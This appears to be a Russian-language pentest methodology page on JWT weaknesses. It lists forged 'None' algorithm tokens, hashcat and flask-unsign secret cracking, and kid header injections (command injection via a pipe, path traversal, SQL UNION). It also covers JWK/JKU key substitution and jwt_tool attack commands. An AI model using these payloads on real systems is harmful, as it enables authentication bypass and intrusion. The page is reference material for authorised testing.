Перейти к основному содержимому

JWT

:::tip Формат страницы

Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.

:::

Порядок действий

  1. Определите контекст (аутентификация, роль, границы доверия).
  2. Воспроизведите вектор атаки в контролируемой среде или с явным разрешением на целевой системе.
  3. Зафиксируйте PoC и влияние (конфиденциальность, целостность, доступность).
  4. Примеры запросов и команд ниже — на английском.

Методика

Normal JWT

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6Ik1hcm1ldXMiLCJpYXQiOjE1MTYyMzkwMjJ9.JRGkgRg-LNfPIizd0il-HU9JFytJYTUnGFfCFblssdU
# Header
{
"alg": "HS256",
"typ": "JWT"
}
# Payload
{
"sub": "1234567890",
"name": "Marmeus",
"iat": 1516239022
}
# SIGNATURE
<ALGORITHM>( base64UrlEncode(header) + "." + base64UrlEncode(payload), <SECRET | PRIVATE KEY>)

Weaknesses

None algorithm (CVE-2015-9235)

# Header
{
"alg": "None",
"typ": "JWT"
}
# Payload
{
"sub": "1234567890",
"name": "Marmeus",
"iat": 1516239022
}

eyJhbGciOiJOb25jZSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiAiMTIzNDU2Nzg5MCIsIm5hbWUiOiJNYXJtZXVzIiwiaWF0IjoxNTE2MjM5MDIyfQ==.

None signature

eyJhbGciOiJOb25jZSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiAiMTIzNDU2Nzg5MCIsIm5hbWUiOiJNYXJtZXVzIiwiaWF0IjoxNTE2MjM5MDIyfQ==.

Weak secrets

hashcat -a 0 -m 16500 <jwt> <wordlist>

Kid parameter injections

{
"alg": "HS256",
"typ": "JWT",
"kid": "key1|/usr/bin/uname"
}
{
"kid": "../../path/to/file",
"typ": "JWT",
"alg": "HS256",
"k": "006baadc-dcf2-4bab-9a3a-1d57fb67fd49"
}
{
"alg": "HS256",
"typ": "JWT",
"kid": "xxxx' UNION SELECT 'aaa"
}

JKU parameter

{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "006baadc-dcf2-4bab-9a3a-1d57fb67fd49",
"n": "q4As7xzYiAAlED4vW_5SYGTZYHdKwZ8uxNvVt5fJKTtVAqSEKsap9CkNfAjmNVT7UGDBACABZfWLvl-3taBQa7-"
}
]
}

JWKS Injection (CVE-2018-0114)

{
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
}
}

Инструменты

Offline

python3 jwt_tool.py <JWT> -C -d <WORDLIST.TXT>
python3 jwt_tool.py <JWT> -X a
python3 jwt_tool.py <JWT> -X k -pk <PUBLIC.pem>
python3 jwt_tool.py <JWT> -X n
python3 jwt_tool.py <JWT> -X i
python3 jwt_tool.py <JWT> -X s

Flask JWT

eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiTWFybWV1cyJ9.Yn1FHg.MTb2hVRzzDUc44JPkIxGI6xyr4A
# Payload
{
"logged_in": true,
"username": "Marmeus"
}
# Timestamp
"b}E\u001e"
# Signature
HMAC(base64UrlEncode(header) + "." + base64UrlEncode(payload), <SECRET>)

Инструменты

Flask-unsing

flask-unsign --unsign --no-literal-eval --cookie "<JWT>" -w <WORDLIST.TXT>

Ссылки